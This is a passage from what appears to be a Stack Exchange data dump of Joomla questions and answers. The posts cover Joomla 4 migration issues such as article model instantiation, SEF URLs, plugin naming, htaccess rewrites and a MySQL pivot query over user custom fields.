ContentModelArticle([]);&#xA;&#xA;  foreach ($this-&amp;gt;removeDuplicateAliases($articles) as $article) {&#xA;    $articleData = [&#xA;      'id' =&amp;gt; 0,&#xA;      'catid' =&amp;gt; 13,&#xA;      'title' =&amp;gt; ucwords(strtolower($article-&amp;gt;title)),&#xA;      'alias' =&amp;gt; JFilterOutput::stringURLSafe($article-&amp;gt;title),&#xA;      'introtext' =&amp;gt; strip_tags($article-&amp;gt;storySummary, ['p', 'img', 'table']),&#xA;      'fulltext' =&amp;gt; strip_tags($article-&amp;gt;content, ['p', 'img', 'table']),&#xA;      'note' =&amp;gt; 'DTN supplied topics: ' . str_replace('/', ', ', $article-&amp;gt;topic),&#xA;      'state' =&amp;gt; 1,&#xA;      'access' =&amp;gt; 1,&#xA;      'created_by' =&amp;gt; 386,&#xA;      'created_by_alias' =&amp;gt; 'DTN News',&#xA;      'language' =&amp;gt; '*',&#xA;      'metadata' =&amp;gt; [&#xA;        'xreference' =&amp;gt; $article-&amp;gt;dtnpfUrl,&#xA;      ],&#xA;      'attribs' =&amp;gt; [&#xA;        'show_publish_date' =&amp;gt; 1,&#xA;      ],&#xA;      'rules' =&amp;gt; [&#xA;        'core.edit.delete' =&amp;gt; [],&#xA;        'core.edit.edit' =&amp;gt; [],&#xA;        'core.edit.state' =&amp;gt; []&#xA;      ],&#xA;    ];&#xA;&#xA;    if (!$articleModel-&amp;gt;save($articleData)) {&#xA;      throw new Exception($articleModel-&amp;gt;getError());&#xA;    } else {&#xA;      $newIds[] = $articleModel-&amp;gt;getItem()-&amp;gt;id;&#xA;    }&#xA;  }&#xA;  return $newIds ?? [];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any assistance is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8253" LastEditorUserId="8253" LastEditDate="2023-09-18T17:49:49.223" LastActivityDate="2024-02-15T19:01:15.120" Title="Upgrade Joomla CLi script to handle bulk import of items into articles" Tags="|php|joomla-4.x|articles|cli|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33353" PostTypeId="2" ParentId="33352" CreationDate="2023-09-16T09:05:06.397" Score="0" Body="&lt;p&gt;The error message is saying that you are trying to call &lt;code&gt;save()&lt;/code&gt; from a boolean value, either true or false. The reason &lt;code&gt;$articleModel&lt;/code&gt; is false is due to it not being created as you expected, returning a value of false instead of the Model object.&lt;/p&gt;&#xA;&lt;p&gt;The reason it failed is because you have used the Joomla 3 class name for the model and not the Joomla 4 class name.&lt;/p&gt;&#xA;&lt;p&gt;This line in your &lt;code&gt;insertArticles()&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  $articleModel = new ContentModelArticle([]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;needs to be changed to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  $articleModel = new ArticleModel();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;em&gt;I have removed the array '[]'argument as I don't see that it is required in either version.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the &lt;code&gt;..\components\com_content\src\Model\ArticleModel.php&lt;/code&gt; that you are referring to in the &lt;code&gt;require_once&lt;/code&gt; line above the calling of the ArticleModel class you can see the name you need to be using.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Content Component Article Model&#xA; *&#xA; * @since  1.5&#xA; */&#xA;class ArticleModel extends ItemModel&#xA;{&#xA;    /**&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update: 17th September&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are several way you can achieve this within Joomla 4&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$articleModel = new \Joomla\Component\Content\Administrator\Model\ArticleModel();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;With a use statement that removes the need for the require_once statement.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Component\Content\Administrator\Model\ArticleModel;&#xA;...&#xA;$articleModel = new ArticleModel();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or by getting the model from the dependency injection container&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$mvcFactory = $this-&amp;gt;app-&amp;gt;bootComponent('com_content')-&amp;gt;getMVCFactory();&#xA;$articleModel = $mvcFactory-&amp;gt;createModel('Article', 'Administrator', ['ignore_request' =&amp;gt; true]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can see an example of the last method in &lt;code&gt;..\plugins\sampledata\blog\blog.php&lt;/code&gt; at line #679 onwards where it is used in code very similar to what you are doing by adding sample articles to the Joomla instance.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$mvcFactory = $this-&amp;gt;app-&amp;gt;bootComponent('com_content')-&amp;gt;getMVCFactory();&#xA;&#xA;// Store the articles&#xA;foreach ($articles as $i =&amp;gt; $article) {&#xA;            $articleModel = $mvcFactory-&amp;gt;createModel('Article', 'Administrator', ['ignore_request' =&amp;gt; true]);&#xA;...&#xA;&#xA;    if (!$articleModel-&amp;gt;save($article)) {&#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-09-17T00:06:50.340" LastActivityDate="2023-09-17T00:06:50.340" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="33354" PostTypeId="2" ParentId="33349" CreationDate="2023-09-16T09:11:10.283" Score="0" Body="&lt;p&gt;You need to set a flag, true or false, as to whether you want the local time or not in the toSql() function.&lt;/p&gt;&#xA;&lt;p&gt;The comments for the toSql function explain what is required.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    /**&#xA;     * Gets the date as an SQL datetime string.&#xA;     *&#xA;     * @param   boolean         $local  True to return the date string in the local time zone, false to return it in GMT.&#xA;     ...&#xA;     */&#xA;    public function toSql($local = false, DatabaseDriver $db = null)&#xA;    {&#xA;        ...&#xA;        return $this-&amp;gt;format($db-&amp;gt;getDateFormat(), $local, false);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-09-16T09:11:10.283" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33355" PostTypeId="1" CreationDate="2023-09-16T16:42:14.487" Score="1" ViewCount="32" Body="&lt;p&gt;Where does this title text comes from? I checked all .ini and .sys.ini files, but when editing the title to see if i got it, nothing changes&lt;/p&gt;&#xA;&lt;p&gt;I can edit the description seen there, but title always stays same.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gROOI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gROOI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="15761" LastEditDate="2023-09-16T16:49:44.233" LastActivityDate="2024-02-19T21:02:48.030" Title="New Module title language constant" Tags="|module|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33356" PostTypeId="2" ParentId="33355" CreationDate="2023-09-17T02:00:56.797" Score="1" Body="&lt;p&gt;The constant is MOD_ARTICLES_CATEGORIES and it comes from the language file  &lt;code&gt;..\language\en-GB\mod_articles_categories.sys.ini&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Changing the value in the sys.ini will change it on the next page load without refreshing any Cache or other settings in my almost vanilla Joomla instance I use for testing.&lt;/p&gt;&#xA;&lt;p&gt;The constant MOD_ARTICLES_CATEGORIES does also appear in the &lt;code&gt;..\language\en-GB\mod_articles_categories.ini&lt;/code&gt; but that is not used for the page shown in your question, it is used as the name of the Module that you see when editing the created module.&lt;/p&gt;&#xA;&lt;p&gt;Looking in &lt;code&gt;..\administrator\components\com_modules\src\Model\SelectModel.php&lt;/code&gt; you can see it is getting the Name of the module and replacing the constant as expected during the &lt;code&gt;getItem()&lt;/code&gt; function.&lt;/p&gt;&#xA;&lt;p&gt;The manifest_cache field is also retrieved into the property called &lt;code&gt;xml&lt;/code&gt; but that just contains the constants for title and description, neither have the replacements stored. Thus I don't think your issue relates to the manifest cache or is altered by refreshing the manifest cache.&lt;/p&gt;&#xA;&lt;p&gt;As part of the &lt;code&gt;getItem()&lt;/code&gt; function it does attempt to store/retrieve the items from a cache as part of the normal &lt;code&gt;ListModel&lt;/code&gt; &lt;code&gt;getItems()&lt;/code&gt; function so perhaps you have some other cache issues happening.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2024-02-19T21:02:48.030" LastActivityDate="2024-02-19T21:02:48.030" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33357" PostTypeId="2" ParentId="32734" CreationDate="2023-09-17T20:24:56.990" Score="0" Body="&lt;p&gt;I have a workaround that displays the text on the buttons after updating from Joomla 3 to 4.&lt;/p&gt;&#xA;&lt;p&gt;I edited the link.php in /layouts/joomla/pagination/ and commented out the four lines that start with &amp;quot;$icon =&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Now the code looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Check for &amp;quot;Start&amp;quot; item&#xA;case Text::_('JLIB_HTML_START'):&#xA;    //$icon = $app-&amp;gt;getLanguage()-&amp;gt;isRtl() ? 'icon-angle-double-right' : 'icon-angle-double-left';&#xA;    $aria = Text::sprintf('JLIB_HTML_GOTO_POSITION', strtolower($item-&amp;gt;text));&#xA;    break;&#xA;&#xA;// Check for &amp;quot;Prev&amp;quot; item&#xA;case $item-&amp;gt;text === Text::_('JPREV'):&#xA;    $item-&amp;gt;text = Text::_('JPREVIOUS');&#xA;    //$icon = $app-&amp;gt;getLanguage()-&amp;gt;isRtl() ? 'icon-angle-right' : 'icon-angle-left';&#xA;    $aria = Text::sprintf('JLIB_HTML_GOTO_POSITION', strtolower($item-&amp;gt;text));&#xA;    break;&#xA;&#xA;// Check for &amp;quot;Next&amp;quot; item&#xA;case Text::_('JNEXT'):&#xA;    //$icon = $app-&amp;gt;getLanguage()-&amp;gt;isRtl() ? 'icon-angle-left' : 'icon-angle-right';&#xA;    $aria = Text::sprintf('JLIB_HTML_GOTO_POSITION', strtolower($item-&amp;gt;text));&#xA;    break;&#xA;&#xA;// Check for &amp;quot;End&amp;quot; item&#xA;case Text::_('JLIB_HTML_END'):&#xA;    //$icon = $app-&amp;gt;getLanguage()-&amp;gt;isRtl() ? 'icon-angle-double-left' : 'icon-angle-double-right';&#xA;    $aria = Text::sprintf('JLIB_HTML_GOTO_POSITION', strtolower($item-&amp;gt;text));&#xA;    break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and the text on the buttons will be displayed.&lt;/p&gt;&#xA;" OwnerUserId="17318" LastActivityDate="2023-09-17T20:24:56.990" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33358" PostTypeId="1" AcceptedAnswerId="33359" CreationDate="2023-09-18T05:28:57.217" Score="0" ViewCount="173" Body="&lt;p&gt;I have just migrated from Joomla 3 to Joomla 4 and have an issue in Ignite Gallery.&lt;/p&gt;&#xA;&lt;p&gt;When I try to upload a new image, I receive the following error message:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Upload Error, Adjusting the uploader settings in the component options -&amp;gt; upload tab may help, response from server: Field 'hits' doesn't have a default value&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have checked the upload settings in the component options and these all seem fine.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2023-09-18T05:28:57.217" Title="Field doesn't have a default value" Tags="|joomla-4.x|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33359" PostTypeId="2" ParentId="33358" CreationDate="2023-09-18T05:28:57.217" Score="1" Body="&lt;p&gt;I managed to fix this error using phpMyAdmin to change the structure of the [database-table-prefix]_igallery_img table so the &amp;quot;hits&amp;quot; field has a default value of &amp;quot;NULL&amp;quot; instead of &amp;quot;None&amp;quot;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2023-09-18T05:28:57.217" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33360" PostTypeId="1" CreationDate="2023-09-18T08:35:36.003" Score="0" ViewCount="81" Body="&lt;p&gt;I'm a complete newbie to Joomla here (been working with it for a few days only) and wanted to ask what is probably a silly question. For clarification I'm not using any SEF extensions/plugins - only Google Structured Data.&lt;/p&gt;&#xA;&lt;p&gt;How do I change a page URL from something like: &lt;em&gt;sitename.com/component/newsfeed/component/newsfeed/login&lt;/em&gt; to &lt;em&gt;simply sitename.com/login&lt;/em&gt; ? I've enabled SEF friendly URLs and URL rewriting in the global settings, and this has fixed all of the pages accessible via the top menu, however any page that has another page as its parent rather than the top menu itself has an unbelievably convoluted link which is unfriendly to search engines. Is there any way that I can fix this manually? I've tried changing the &amp;quot;alias&amp;quot; parameter on each menu page but it doesn't do anything.&lt;/p&gt;&#xA;&lt;p&gt;Many thanks for any help. Apologies if I'm missing something obvious.&lt;/p&gt;&#xA;" OwnerUserId="17321" LastActivityDate="2024-02-16T18:04:05.443" Title="How do I change a page URL on Joomla 3.10.11?" Tags="|joomla-3.x|url|sef|seo|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33361" PostTypeId="1" AcceptedAnswerId="33362" CreationDate="2023-09-18T14:44:44.227" Score="0" ViewCount="39" Body="&lt;p&gt;I have made other plugins for Joomla 4 but I am still a novice. The past two days I have been searching for a solution, it's becoming quite frustrating. I have brought back my code in the php file to just to show me anything, in this case 'Hello There'. I have searched reporting, the log just shows it loads the plugin and nothing... The plugin does install correctly, uninstalls too, the shortcode is simple {climate} and all the files are in place, Joomla also finds the plugin because I have tested it even on a clean install of Joomla 4. Just the onContentPrepare doesnt do anything at all which is weird.. Can anyone help me?? :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @version    1.0.0&#xA; * @package    myclimatetable (plugin)&#xA; * @author     AN&#xA; * @copyright  Copyright (c) 2023 AN&#xA; * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html&#xA; */&#xA;&#xA;// No direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;class PlgContentClimateTable extends JPlugin &#xA;{&#xA;    public function onContentPrepare($context, &amp;amp;$article, &amp;amp;$params, $limitstart) &#xA;    {&#xA;        $article-&amp;gt;text = preg_replace('/{climate}/', 'Hello there', $article-&amp;gt;text);&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My manifest file is okay, I think.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension version=&amp;quot;4.0&amp;quot; type=&amp;quot;plugin&amp;quot; group=&amp;quot;content&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_content_myclimatetable&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;AN&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;September 2023&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Copyright (C) 2023 Harper Douglas Max&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;NU/GPL license: https://www.gnu.org/copyleft/gpl.html&amp;lt;/license&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;AN&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;AN&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;0.02&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;A plugin that allows climate tables to be inserted from WMO&amp;lt;/description&amp;gt;&#xA;&#xA;    &amp;lt;!-- Files and folders included in the plugin --&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&amp;quot;myclimatetable&amp;quot;&amp;gt;myclimatetable.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;index.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;full_city_list.csv&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;tmpl&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;logs&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;languages folder=&amp;quot;language&amp;quot;&amp;gt;&#xA;        &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;en-GB/en-GB.plg_content_myclimatetable.sys.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;en-GB/en-GB.plg_content_myclimatetable.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&amp;quot;nl-NL&amp;quot;&amp;gt;nl-NL/nl-NL.plg_content_myclimatetable.sys.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&amp;quot;nl-NL&amp;quot;&amp;gt;nl-NL/nl-NL.plg_content_myclimatetable.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;/languages&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17322" LastEditorUserId="17322" LastEditDate="2023-09-18T14:48:03.267" LastActivityDate="2023-09-18T15:11:09.073" Title="OnContentPrepare not working in custom Joomla Plugin" Tags="|joomla-4.x|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33362" PostTypeId="2" ParentId="33361" CreationDate="2023-09-18T15:11:09.073" Score="0" Body="&lt;p&gt;Per &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;, the class name should be in format &lt;code&gt;plg&amp;lt;PluginGroup&amp;gt;&amp;lt;PluginName&amp;gt;&lt;/code&gt; (casing doesn't matter for J3 and older style plugins). The name of your plugin is &lt;code&gt;myclimatetable&lt;/code&gt;, as defined by &lt;code&gt;plugin&lt;/code&gt; attribute in the XML file. Therefore, the class name should be &lt;code&gt;PlgContentMyClimateTable&lt;/code&gt;, not &lt;code&gt;PlgContentClimateTable&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-09-18T15:11:09.073" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33363" PostTypeId="1" CreationDate="2023-09-18T16:47:37.477" Score="1" ViewCount="94" Body="&lt;p&gt;In J3 i used specific rewrite rules in &lt;code&gt;.htaccess&lt;/code&gt; that worked fine but doesn't seem to work in J4. Here's an example :&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;RewriteRule ^metier/([a-zA-Z0-9-_]+)\.html$ /index.php?option=com_content&amp;amp;view=article&amp;amp;id=18&amp;amp;Itemid=102&amp;amp;filtrefonction=$1 [QSA,L]&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;In J4, when I use this URL in my browser it works fine :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/index.php?option=com_content&amp;amp;view=article&amp;amp;id=18&amp;amp;Itemid=102&amp;amp;filtrefonction=$1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but when I try the rewritten URL :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/metier/btp-construction.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I get a 404 error Page not found... &lt;code&gt;RewriteEngine&lt;/code&gt; is &lt;code&gt;On&lt;/code&gt; of course and the rules in the &lt;code&gt;.htaccess&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;I have tried to change the rule this way :&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;RewriteRule ^metier-([a-zA-Z0-9-_]+)\.html$ /index.php?option=com_content&amp;amp;view=article&amp;amp;id=18&amp;amp;Itemid=102&amp;amp;filtrefonction=$1 [QSA,L]&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;and try to call the url&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/metier-btp-construction-usines-infrastructures-tp.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but it gives the same result : an error 404 :/&lt;/p&gt;&#xA;&lt;p&gt;Does anyone have any idea about this issue?&#xA;Thanks for any answer!&lt;/p&gt;&#xA;" OwnerUserId="17323" LastEditorUserId="28" LastEditDate="2023-09-20T07:34:49.623" LastActivityDate="2023-09-20T07:34:49.623" Title="Rewrite rule in htaccess in joomla 4?" Tags="|joomla-4.x|url|.htaccess-configuration|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33364" PostTypeId="2" ParentId="31797" CreationDate="2023-09-18T21:27:00.563" Score="0" Body="&lt;p&gt;I found this link: &lt;a href=&quot;https://ubiq.co/database-blog/transpose-rows-columns-dynamically-mysql/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ubiq.co/database-blog/transpose-rows-columns-dynamically-mysql/&lt;/a&gt;&#xA;which helped me to create a pure MySQL solution:&lt;/p&gt;&#xA;&lt;pre&gt;&#xA;&#xA;SET @sql = NULL;&#xA;SELECT&#xA;  GROUP_CONCAT(&#xA;      'max(case when `f`.`name` = ''',&#xA;      `f`.`name`,&#xA;      ''' then `fv`.`value` end) `',&#xA;      `f`.`name`,&#xA;      '`'&#xA;  ) INTO @sql&#xA;FROM `#__fields` `f` &#xA;JOIN `#__fields_groups` `fg` ON `f`.`group_id`=`fg`.`id`&#xA;WHERE `f`.`context`='com_users.user' ORDER BY `fg`.`ordering`,`f`.`ordering`;&#xA;&#xA;SET @sql = CONCAT('SELECT `u`.*, ', @sql, ' &#xA;FROM `#__users` `u`&#xA;JOIN `#__fields_values` `fv` ON `u`.`id`=`fv`.`item_id`&#xA;JOIN `#__fields` `f` ON `fv`.`field_id`=`f`.`id`&#xA;GROUP BY `u`.`id` ORDER BY `u`.`name`');&#xA;&#xA;PREPARE stmt FROM @sql;&#xA;EXECUTE stmt;&#xA;DEALLOCATE PREPARE stmt;&#xA;&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="16933" LastActivityDate="2023-09-18T21:27:00.563" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33365" PostTypeId="2" ParentId="33030" CreationDate="2023-09-19T09:08:51.143" Score="0" Body="&lt;p&gt;Add this in &lt;strong&gt;templates/[your_template]/html/com_content/article/default.php&lt;/strong&gt;&lt;br /&gt;&#xA;Modify the code to your needs.&lt;/p&gt;&#xA;&lt;p&gt;//retrieve category id&lt;br /&gt;&#xA;$category = JCategories::getInstance('Content')-&amp;gt;get($this-&amp;gt;item-&amp;gt;catid);&lt;/p&gt;&#xA;&lt;p&gt;// echo out the category image&lt;br /&gt;&#xA;echo HTMLHelper::_('image', $category-&amp;gt;getParams()-&amp;gt;get('image'), $category-&amp;gt;getParams()-&amp;gt;get('image_alt'));&lt;/p&gt;&#xA;&lt;p&gt;Tested on Joomla 4.3.4&lt;/p&gt;&#xA;" OwnerUserId="17324" LastActivityDate="2023-09-19T09:08:51.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33366" PostTypeId="1" CreationDate="2023-09-19T09:19:25.917" Score="0" ViewCount="59" Body="&lt;p&gt;I am using flexicontent for content management in Joomla 4.3.4.&#xA;And i created the Menu as&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;All content-&amp;gt;Edited-&amp;gt;News&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;As its URL with menu item alias&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;my-domain/all-content/edited/news/content-title&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;one home page it create short url like&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;my-domain/content-title&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;but in other pages it creates url on items link&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;my-domain/all-content/edited/news/item-title&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I tried to make this changes with code customization but no success.&#xA;and also i used 4SEF but can not make short urls.&#xA;Am i looking at wrong way?&lt;/p&gt;&#xA;" OwnerUserId="16588" LastEditorUserId="16588" LastEditDate="2023-09-22T13:18:01.600" LastActivityDate="2023-09-22T13:18:01.600" Title="Short Url with FlexiContent Or Remove menu item alias from URL" Tags="|joomla-4.x|sef|flexicontent|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33367" PostTypeId="2" ParentId="33350" CreationDate="2023-09-19T10:04:15.187" Score="0" Body="&lt;p&gt;When getting a Class Not Found error and you think that all your code is ok, then it's worth it to check the cache file in administrator/cache/autoload_psr4.php.&lt;/p&gt;&#xA;&lt;p&gt;This file is generated from Joomla reading all the XML manifest files of the extensions to build up a mapping of namespace prefix to where source files are stored in the filesystem. As this is quite a bit of work Joomla caches the file, so there may be scenarios when it gets out of step with your code - for example, if you're changing your &amp;quot;live&amp;quot; code files directly, rather than using a develop - zip - install process. The file should be regenerated whenever you install an extension.&lt;/p&gt;&#xA;&lt;p&gt;If the cache is out of date then the solution is simply to delete the administrator/cache/autoload_psr4.php file. Joomla will regenerate it the next time that it has an HTTP request to your site.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-09-19T10:04:15.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33368" PostTypeId="2" ParentId="33360" CreationDate="2023-09-19T16:34:12.790" Score="0" Body="&lt;p&gt;Generally if you have 'component' as one of the segments in your URL it means that the Joomla router can't find a menuitem which matches the component it's been asked to route to - ie 'newsfeed' in your case.&lt;/p&gt;&#xA;&lt;p&gt;This is usually an undesirable situation, as it means that Joomla will base the URL on top of the home page, and so it will get all the modules, formatting etc that is associated with the home page, which is sometimes not what you want.&lt;/p&gt;&#xA;&lt;p&gt;(Sorry, I realise that's a lot of Joomla jargon!).&lt;/p&gt;&#xA;&lt;p&gt;The solution that often works is to set up a hidden menuitem which matches the component. In your case you could set up a menuitem to a Menu Item Type of News Feeds / Single News Feed. You set it hidden on the Link Type tab, by setting Display in Menu to No. This means that it won't be visible on any menu, but can still be used by the router to generate URLs.&lt;/p&gt;&#xA;&lt;p&gt;Or similarly you could set up a hidden menuitem with a Menu Item Type of Users / Login Form.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-09-19T16:34:12.790" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="33369" PostTypeId="1" CreationDate="2023-09-20T09:29:24.460" Score="0" ViewCount="15" Body="&lt;p&gt;I transferred all my users from J3! to J4! using JLex Transfer. In my J3! site I had incorrectly created usergroups as root groups. These groups are no longer necessary in my new site. All I have tried is checkmarking them and trying to delete. I get the error &amp;quot;0 Root usergroup cannot be deleted.&amp;quot;&#xA;Is there a way around this? Or must I live with these root usergroups? They're not really a hastle, just look bad.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qQTX1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qQTX1.png&quot; alt=&quot;Pic of Users: Groups to be deleted &amp;quot;Datubāze&amp;quot;, &amp;quot;Db admin&amp;quot;, &amp;quot;Skola&amp;quot;, &amp;quot;NOBODY&amp;quot;, &amp;quot;kasiere&amp;quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17328" LastEditorUserId="13472" LastEditDate="2023-09-22T06:19:20.033" LastActivityDate="2023-09-22T06:19:20.033" Title="How to delete root user group?" Tags="|joomla-4.x|user-groups|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33370" PostTypeId="1" CreationDate="2023-09-20T15:32:15.420" Score="0" ViewCount="153" Body="&lt;p&gt;I have a menu entry like so:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ID: 524&lt;/li&gt;&#xA;&lt;li&gt;Type: Articles-&amp;gt;Create Article&lt;/li&gt;&#xA;&lt;li&gt;Link: index.php?option=com_content&amp;amp;view=form&amp;amp;layout=edit&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In the &amp;quot;old days&amp;quot; I'do &lt;code&gt;Route::_('index.php?option=com_content&amp;amp;view=form&amp;amp;layout=edit')&lt;/code&gt; and it would return a SEF-friendly URL path like &lt;em&gt;/articles/add&lt;/em&gt; or whatever.&lt;/p&gt;&#xA;&lt;p&gt;But currently, it does return this kinda ugly URL path: &lt;em&gt;/component/content/form?layout=edit&amp;amp;Itemid=101&lt;/em&gt;. (Itemid 101 refers to the home menu entry).&lt;/p&gt;&#xA;&lt;p&gt;If I do 